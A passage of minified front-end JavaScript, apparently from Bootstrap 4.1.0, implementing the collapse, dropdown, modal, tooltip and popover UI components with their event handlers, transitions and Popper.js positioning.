t,e,n=this;if(!this._isTransitioning&&!tt(this._element).hasClass(lt)&&(this._parent&&0===(t=tt.makeArray(tt(this._parent).find(_t.ACTIVES).filter('[data-parent="'+this._config.parent+'"]'))).length&&(t=null),!(t&&(e=tt(t).not(this._selector).data(nt))&&e._isTransitioning))){var i=tt.Event(at.SHOW);if(tt(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInterface.call(tt(t).not(this._selector),"hide"),e||tt(t).data(nt,null));var r=this._getDimension();tt(this._element).removeClass(ht).addClass(ct),(this._element.style[r]=0)<this._triggerArray.length&&tt(this._triggerArray).removeClass(ut).attr("aria-expanded",!0),this.setTransitioning(!0);var s="scroll"+(r[0].toUpperCase()+r.slice(1)),o=Cn.getTransitionDurationFromElement(this._element);tt(this._element).one(Cn.TRANSITION_END,function(){tt(n._element).removeClass(ct).addClass(ht).addClass(lt),n._element.style[r]="",n.setTransitioning(!1),tt(n._element).trigger(at.SHOWN)}).emulateTransitionEnd(o),this._element.style[r]=this._element[s]+"px"}}},t.hide=function(){var t=this;if(!this._isTransitioning&&tt(this._element).hasClass(lt)){var e=tt.Event(at.HIDE);if(tt(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();if(this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",Cn.reflow(this._element),tt(this._element).addClass(ct).removeClass(ht).removeClass(lt),0<this._triggerArray.length)for(var i=0;i<this._triggerArray.length;i++){var r=this._triggerArray[i],s=Cn.getSelectorFromElement(r);if(null!==s)tt(s).hasClass(lt)||tt(r).addClass(ut).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var o=Cn.getTransitionDurationFromElement(this._element);tt(this._element).one(Cn.TRANSITION_END,function(){t.setTransitioning(!1),tt(t._element).removeClass(ct).addClass(ht).trigger(at.HIDDEN)}).emulateTransitionEnd(o)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){tt.removeData(this._element,nt),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},t._getConfig=function(t){return(t=h({},st,t)).toggle=Boolean(t.toggle),Cn.typeCheckConfig(et,t,ot),t},t._getDimension=function(){return tt(this._element).hasClass(ft)?ft:dt},t._getParent=function(){var n=this,t=null;Cn.isElement(this._config.parent)?(t=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(t=this._config.parent[0])):t=tt(this._config.parent)[0];var e='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]';return tt(t).find(e).each(function(t,e){n._addAriaAndCollapsedClass(a._getTargetFromElement(e),[e])}),t},t._addAriaAndCollapsedClass=function(t,e){if(t){var n=tt(t).hasClass(lt);0<e.length&&tt(e).toggleClass(ut,!n).attr("aria-expanded",n)}},a._getTargetFromElement=function(t){var e=Cn.getSelectorFromElement(t);return e?tt(e)[0]:null},a._jQueryInterface=function(i){return this.each(function(){var t=tt(this),e=t.data(nt),n=h({},st,t.data(),"object"==typeof i&&i);if(!e&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(nt,e)),"string"==typeof i){if("undefined"==typeof e[i])throw new TypeError('No method named "'+i+'"');e[i]()}})},o(a,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return st}}]),a}(),tt(document).on(at.CLICK_DATA_API,_t.DATA_TOGGLE,function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var n=tt(this),e=Cn.getSelectorFromElement(this);tt(e).each(function(){var t=tt(this),e=t.data(nt)?"toggle":n.data();gt._jQueryInterface.call(t,e)})}),tt.fn[et]=gt._jQueryInterface,tt.fn[et].Constructor=gt,tt.fn[et].noConflict=function(){return tt.fn[et]=rt,gt._jQueryInterface},gt),Sn=(pt="dropdown",Et="."+(vt="bs.dropdown"),yt=".data-api",Tt=(mt=e).fn[pt],Ct=new RegExp("38|40|27"),It={HIDE:"hide"+Et,HIDDEN:"hidden"+Et,SHOW:"show"+Et,SHOWN:"shown"+Et,CLICK:"click"+Et,CLICK_DATA_API:"click"+Et+yt,KEYDOWN_DATA_API:"keydown"+Et+yt,KEYUP_DATA_API:"keyup"+Et+yt},At="disabled",Dt="show",bt="dropup",St="dropright",wt="dropleft",Nt="dropdown-menu-right",Ot="position-static",kt='[data-toggle="dropdown"]',Pt=".dropdown form",Lt=".dropdown-menu",jt=".navbar-nav",Rt=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",Ht="top-start",Wt="top-end",Mt="bottom-start",xt="bottom-end",Ut="right-start",Kt="left-start",Ft={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic"},Vt={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string"},Qt=function(){function l(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=l.prototype;return t.toggle=function(){if(!this._element.disabled&&!mt(this._element).hasClass(At)){var t=l._getParentFromElement(this._element),e=mt(this._menu).hasClass(Dt);if(l._clearMenus(),!e){var n={relatedTarget:this._element},i=mt.Event(It.SHOW,n);if(mt(t).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar){if("undefined"==typeof c)throw new TypeError("Bootstrap dropdown require Popper.js (https://popper.js.org)");var r=this._element;"parent"===this._config.reference?r=t:Cn.isElement(this._config.reference)&&(r=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(r=this._config.reference[0])),"scrollParent"!==this._config.boundary&&mt(t).addClass(Ot),this._popper=new c(r,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===mt(t).closest(jt).length&&mt(document.body).children().on("mouseover",null,mt.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),mt(this._menu).toggleClass(Dt),mt(t).toggleClass(Dt).trigger(mt.Event(It.SHOWN,n))}}}},t.dispose=function(){mt.removeData(this._element,vt),mt(this._element).off(Et),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(){var e=this;mt(this._element).on(It.CLICK,function(t){t.preventDefault(),t.stopPropagation(),e.toggle()})},t._getConfig=function(t){return t=h({},this.constructor.Default,mt(this._element).data(),t),Cn.typeCheckConfig(pt,t,this.constructor.DefaultType),t},t._getMenuElement=function(){if(!this._menu){var t=l._getParentFromElement(this._element);this._menu=mt(t).find(Lt)[0]}return this._menu},t._getPlacement=function(){var t=mt(this._element).parent(),e=Mt;return t.hasClass(bt)?(e=Ht,mt(this._menu).hasClass(Nt)&&(e=Wt)):t.hasClass(St)?e=Ut:t.hasClass(wt)?e=Kt:mt(this._menu).hasClass(Nt)&&(e=xt),e},t._detectNavbar=function(){return 0<mt(this._element).closest(".navbar").length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t){return t.offsets=h({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(n.modifiers.applyStyle={enabled:!1}),n},l._jQueryInterface=function(e){return this.each(function(){var t=mt(this).data(vt);if(t||(t=new l(this,"object"==typeof e?e:null),mt(this).data(vt,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},l._clearMenus=function(t){if(!t||3!==t.which&&("keyup"!==t.type||9===t.which))for(var e=mt.makeArray(mt(kt)),n=0;n<e.length;n++){var i=l._getParentFromElement(e[n]),r=mt(e[n]).data(vt),s={relatedTarget:e[n]};if(r){var o=r._menu;if(mt(i).hasClass(Dt)&&!(t&&("click"===t.type&&/input|textarea/i.test(t.target.tagName)||"keyup"===t.type&&9===t.which)&&mt.contains(i,t.target))){var a=mt.Event(It.HIDE,s);mt(i).trigger(a),a.isDefaultPrevented()||("ontouchstart"in document.documentElement&&mt(document.body).children().off("mouseover",null,mt.noop),e[n].setAttribute("aria-expanded","false"),mt(o).removeClass(Dt),mt(i).removeClass(Dt).trigger(mt.Event(It.HIDDEN,s)))}}}},l._getParentFromElement=function(t){var e,n=Cn.getSelectorFromElement(t);return n&&(e=mt(n)[0]),e||t.parentNode},l._dataApiKeydownHandler=function(t){if((/input|textarea/i.test(t.target.tagName)?!(32===t.which||27!==t.which&&(40!==t.which&&38!==t.which||mt(t.target).closest(Lt).length)):Ct.test(t.which))&&(t.preventDefault(),t.stopPropagation(),!this.disabled&&!mt(this).hasClass(At))){var e=l._getParentFromElement(this),n=mt(e).hasClass(Dt);if((n||27===t.which&&32===t.which)&&(!n||27!==t.which&&32!==t.which)){var i=mt(e).find(Rt).get();if(0!==i.length){var r=i.indexOf(t.target);38===t.which&&0<r&&r--,40===t.which&&r<i.length-1&&r++,r<0&&(r=0),i[r].focus()}}else{if(27===t.which){var s=mt(e).find(kt)[0];mt(s).trigger("focus")}mt(this).trigger("click")}}},o(l,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Ft}},{key:"DefaultType",get:function(){return Vt}}]),l}(),mt(document).on(It.KEYDOWN_DATA_API,kt,Qt._dataApiKeydownHandler).on(It.KEYDOWN_DATA_API,Lt,Qt._dataApiKeydownHandler).on(It.CLICK_DATA_API+" "+It.KEYUP_DATA_API,Qt._clearMenus).on(It.CLICK_DATA_API,kt,function(t){t.preventDefault(),t.stopPropagation(),Qt._jQueryInterface.call(mt(this),"toggle")}).on(It.CLICK_DATA_API,Pt,function(t){t.stopPropagation()}),mt.fn[pt]=Qt._jQueryInterface,mt.fn[pt].Constructor=Qt,mt.fn[pt].noConflict=function(){return mt.fn[pt]=Tt,Qt._jQueryInterface},Qt),wn=(Yt="modal",qt="."+(Gt="bs.modal"),zt=(Bt=e).fn[Yt],Xt={backdrop:!0,keyboard:!0,focus:!0,show:!0},Jt={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},Zt={HIDE:"hide"+qt,HIDDEN:"hidden"+qt,SHOW:"show"+qt,SHOWN:"shown"+qt,FOCUSIN:"focusin"+qt,RESIZE:"resize"+qt,CLICK_DISMISS:"click.dismiss"+qt,KEYDOWN_DISMISS:"keydown.dismiss"+qt,MOUSEUP_DISMISS:"mouseup.dismiss"+qt,MOUSEDOWN_DISMISS:"mousedown.dismiss"+qt,CLICK_DATA_API:"click"+qt+".data-api"},$t="modal-scrollbar-measure",te="modal-backdrop",ee="modal-open",ne="fade",ie="show",re={DIALOG:".modal-dialog",DATA_TOGGLE:'[data-toggle="modal"]',DATA_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",STICKY_CONTENT:".sticky-top",NAVBAR_TOGGLER:".navbar-toggler"},se=function(){function r(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=Bt(t).find(re.DIALOG)[0],this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._scrollbarWidth=0}var t=r.prototype;return t.toggle=function(t){return this._isShown?this.hide():this.show(t)},t.show=function(t){var e=this;if(!this._isTransitioning&&!this._isShown){Bt(this._element).hasClass(ne)&&(this._isTransitioning=!0);var n=Bt.Event(Zt.SHOW,{relatedTarget:t});Bt(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),Bt(document.body).addClass(ee),this._setEscapeEvent(),this._setResizeEvent(),Bt(this._element).on(Zt.CLICK_DISMISS,re.DATA_DISMISS,function(t){return e.hide(t)}),Bt(this._dialog).on(Zt.MOUSEDOWN_DISMISS,function(){Bt(e._element).one(Zt.MOUSEUP_DISMISS,function(t){Bt(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitioning&&this._isShown){var n=Bt.Event(Zt.HIDE);if(Bt(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=Bt(this._element).hasClass(ne);if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),Bt(document).off(Zt.FOCUSIN),Bt(this._element).removeClass(ie),Bt(this._element).off(Zt.CLICK_DISMISS),Bt(this._dialog).off(Zt.MOUSEDOWN_DISMISS),i){var r=Cn.getTransitionDurationFromElement(this._element);Bt(this._element).one(Cn.TRANSITION_END,function(t){return e._hideModal(t)}).emulateTransitionEnd(r)}else this._hideModal()}}},t.dispose=function(){Bt.removeData(this._element,Gt),Bt(window,document,this._element,this._backdrop).off(qt),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._scrollbarWidth=null},t.handleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=h({},Xt,t),Cn.typeCheckConfig(Yt,t,Jt),t},t._showElement=function(t){var e=this,n=Bt(this._element).hasClass(ne);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.scrollTop=0,n&&Cn.reflow(this._element),Bt(this._element).addClass(ie),this._config.focus&&this._enforceFocus();var i=Bt.Event(Zt.SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,Bt(e._element).trigger(i)};if(n){var s=Cn.getTransitionDurationFromElement(this._element);Bt(this._dialog).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r()},t._enforceFocus=function(){var e=this;Bt(document).off(Zt.FOCUSIN).on(Zt.FOCUSIN,function(t){document!==t.target&&e._element!==t.target&&0===Bt(e._element).has(t.target).length&&e._element.focus()})},t._setEscapeEvent=function(){var e=this;this._isShown&&this._config.keyboard?Bt(this._element).on(Zt.KEYDOWN_DISMISS,function(t){27===t.which&&(t.preventDefault(),e.hide())}):this._isShown||Bt(this._element).off(Zt.KEYDOWN_DISMISS)},t._setResizeEvent=function(){var e=this;this._isShown?Bt(window).on(Zt.RESIZE,function(t){return e.handleUpdate(t)}):Bt(window).off(Zt.RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._isTransitioning=!1,this._showBackdrop(function(){Bt(document.body).removeClass(ee),t._resetAdjustments(),t._resetScrollbar(),Bt(t._element).trigger(Zt.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&(Bt(this._backdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=Bt(this._element).hasClass(ne)?ne:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=te,n&&Bt(this._backdrop).addClass(n),Bt(this._backdrop).appendTo(document.body),Bt(this._element).on(Zt.CLICK_DISMISS,function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._element.focus():e.hide())}),n&&Cn.reflow(this._backdrop),Bt(this._backdrop).addClass(ie),!t)return;if(!n)return void t();var i=Cn.getTransitionDurationFromElement(this._backdrop);Bt(this._backdrop).one(Cn.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){Bt(this._backdrop).removeClass(ie);var r=function(){e._removeBackdrop(),t&&t()};if(Bt(this._element).hasClass(ne)){var s=Cn.getTransitionDurationFromElement(this._backdrop);Bt(this._backdrop).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r()}else t&&t()},t._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isBodyOverflowing){Bt(re.FIXED_CONTENT).each(function(t,e){var n=Bt(e)[0].style.paddingRight,i=Bt(e).css("padding-right");Bt(e).data("padding-right",n).css("padding-right",parseFloat(i)+r._scrollbarWidth+"px")}),Bt(re.STICKY_CONTENT).each(function(t,e){var n=Bt(e)[0].style.marginRight,i=Bt(e).css("margin-right");Bt(e).data("margin-right",n).css("margin-right",parseFloat(i)-r._scrollbarWidth+"px")}),Bt(re.NAVBAR_TOGGLER).each(function(t,e){var n=Bt(e)[0].style.marginRight,i=Bt(e).css("margin-right");Bt(e).data("margin-right",n).css("margin-right",parseFloat(i)+r._scrollbarWidth+"px")});var t=document.body.style.paddingRight,e=Bt(document.body).css("padding-right");Bt(document.body).data("padding-right",t).css("padding-right",parseFloat(e)+this._scrollbarWidth+"px")}},t._resetScrollbar=function(){Bt(re.FIXED_CONTENT).each(function(t,e){var n=Bt(e).data("padding-right");"undefined"!=typeof n&&Bt(e).css("padding-right",n).removeData("padding-right")}),Bt(re.STICKY_CONTENT+", "+re.NAVBAR_TOGGLER).each(function(t,e){var n=Bt(e).data("margin-right");"undefined"!=typeof n&&Bt(e).css("margin-right",n).removeData("margin-right")});var t=Bt(document.body).data("padding-right");"undefined"!=typeof t&&Bt(document.body).css("padding-right",t).removeData("padding-right")},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=$t,document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._jQueryInterface=function(n,i){return this.each(function(){var t=Bt(this).data(Gt),e=h({},r.Default,Bt(this).data(),"object"==typeof n&&n);if(t||(t=new r(this,e),Bt(this).data(Gt,t)),"string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n](i)}else e.show&&t.show(i)})},o(r,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Xt}}]),r}(),Bt(document).on(Zt.CLICK_DATA_API,re.DATA_TOGGLE,function(t){var e,n=this,i=Cn.getSelectorFromElement(this);i&&(e=Bt(i)[0]);var r=Bt(e).data(Gt)?"toggle":h({},Bt(e).data(),Bt(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var s=Bt(e).one(Zt.SHOW,function(t){t.isDefaultPrevented()||s.one(Zt.HIDDEN,function(){Bt(n).is(":visible")&&n.focus()})});se._jQueryInterface.call(Bt(e),r,this)}),Bt.fn[Yt]=se._jQueryInterface,Bt.fn[Yt].Constructor=se,Bt.fn[Yt].noConflict=function(){return Bt.fn[Yt]=zt,se._jQueryInterface},se),Nn=(ae="tooltip",he="."+(le="bs.tooltip"),ce=(oe=e).fn[ae],ue="bs-tooltip",fe=new RegExp("(^|\\s)"+ue+"\\S+","g"),ge={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!(_e={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(de={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},pe="out",ve={HIDE:"hide"+he,HIDDEN:"hidden"+he,SHOW:(me="show")+he,SHOWN:"shown"+he,INSERTED:"inserted"+he,CLICK:"click"+he,FOCUSIN:"focusin"+he,FOCUSOUT:"focusout"+he,MOUSEENTER:"mouseenter"+he,MOUSELEAVE:"mouseleave"+he},Ee="fade",ye="show",Te=".tooltip-inner",Ce=".arrow",Ie="hover",Ae="focus",De="click",be="manual",Se=function(){function i(t,e){if("undefined"==typeof c)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=oe(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(oe(this.getTipElement()).hasClass(ye))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),oe.removeData(this.element,this.constructor.DATA_KEY),oe(this.element).off(this.constructor.EVENT_KEY),oe(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&oe(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===oe(this.element).css("display"))throw new Error("Please use show on visible elements");var t=oe.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){oe(this.element).trigger(t);var n=oe.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=Cn.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&oe(i).addClass(Ee);var s="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,o=this._getAttachment(s);this.addAttachmentClass(o);var a=!1===this.config.container?document.body:oe(this.config.container);oe(i).data(this.constructor.DATA_KEY,this),oe.contains(this.element.ownerDocument.documentElement,this.tip)||oe(i).appendTo(a),oe(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new c(this.element,i,{placement:o,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Ce},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),oe(i).addClass(ye),"ontouchstart"in document.documentElement&&oe(document.body).children().on("mouseover",null,oe.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,oe(e.element).trigger(e.constructor.Event.SHOWN),t===pe&&e._leave(null,e)};if(oe(this.tip).hasClass(Ee)){var h=Cn.getTransitionDurationFromElement(this.tip);oe(this.tip).one(Cn.TRANSITION_END,l).emulateTransitionEnd(h)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=oe.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==me&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),oe(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(oe(this.element).trigger(i),!i.isDefaultPrevented()){if(oe(n).removeClass(ye),"ontouchstart"in document.documentElement&&oe(document.body).children().off("mouseover",null,oe.noop),this._activeTrigger[De]=!1,this._activeTrigger[Ae]=!1,this._activeTrigger[Ie]=!1,oe(this.tip).hasClass(Ee)){var s=Cn.getTransitionDurationFromElement(n);oe(n).one(Cn.TRANSITION_END,r).emulateTransitionEnd(s)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){oe(this.getTipElement()).addClass(ue+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||oe(this.config.template)[0],this.tip},t.setContent=function(){var t=oe(this.getTipElement());this.setElementContent(t.find(Te),this.getTitle()),t.removeClass(Ee+" "+ye)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?oe(e).parent().is(t)||t.empty().append(e):t.text(oe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return _e[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)oe(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==be){var e=t===Ie?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Ie?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;oe(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}oe(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=h({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||oe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Ae:Ie]=!0),oe(e.getTipElement()).hasClass(ye)||e._hoverState===me?e._hoverState=me:(clearTimeout(e._timeout),e._hoverState=me,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===me&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||oe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),oe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Ae:Ie]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=pe,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===pe&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=h({},this.constructor.Default,oe(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),Cn.typeCheckConfig(ae,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=oe(this.getTipElement()),e=t.attr("class").match(fe);null!==e&&0<e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(oe(t).removeClass(Ee),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=oe(this).data(le),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),oe(this).data(le,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return ge}},{key:"NAME",get:function(){return ae}},{key:"DATA_KEY",get:function(){return le}},{key:"Event",get:function(){return ve}},{key:"EVENT_KEY",get:function(){return he}},{key:"DefaultType",get:function(){return de}}]),i}(),oe.fn[ae]=Se._jQueryInterface,oe.fn[ae].Constructor=Se,oe.fn[ae].noConflict=function(){return oe.fn[ae]=ce,Se._jQueryInterface},Se),On=(Ne="popover",ke="."+(Oe="bs.popover"),Pe=(we=e).fn[Ne],Le="bs-popover",je=new RegExp("(^|\\s)"+Le+"\\S+","g"),Re=h({},Nn.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),He=h({},Nn.DefaultType,{content:"(string|element|function)"}),We="fade",xe=".popover-header",Ue=".popover-body",Ke={HIDE:"hide"+ke,HIDDEN:"hidden"+ke,SHOW:(Me="show")+ke,SHOWN:"shown"+ke,INSERTED:"inserted"+ke,CLICK:"click"+ke,FOCUSIN:"focusin"+ke,FOCUSOUT:"focusout"+ke,MOUSEENTER:"mouseenter"+ke,MOUSELEAVE:"mouseleave"+ke},Fe=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){we(this.getTipElement()).addClass(Le+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||we(this.config.template)[0],this.tip},r.setContent=function(){var t=we(this.getTipElement());this.setElementContent(t.find(xe),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Ue),e),t.removeClass(We+" "+Me)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=we(this.getTipElement()),e=t.attr("class").match(je);null!==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=function(n){return this.each(function(){var t=we(this).data(Oe),e="object"==typeof n?n:null;if((t||!/destroy|hide/.test(n))&&(t||(t=new i(this,e),we(this).data(Oe,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named 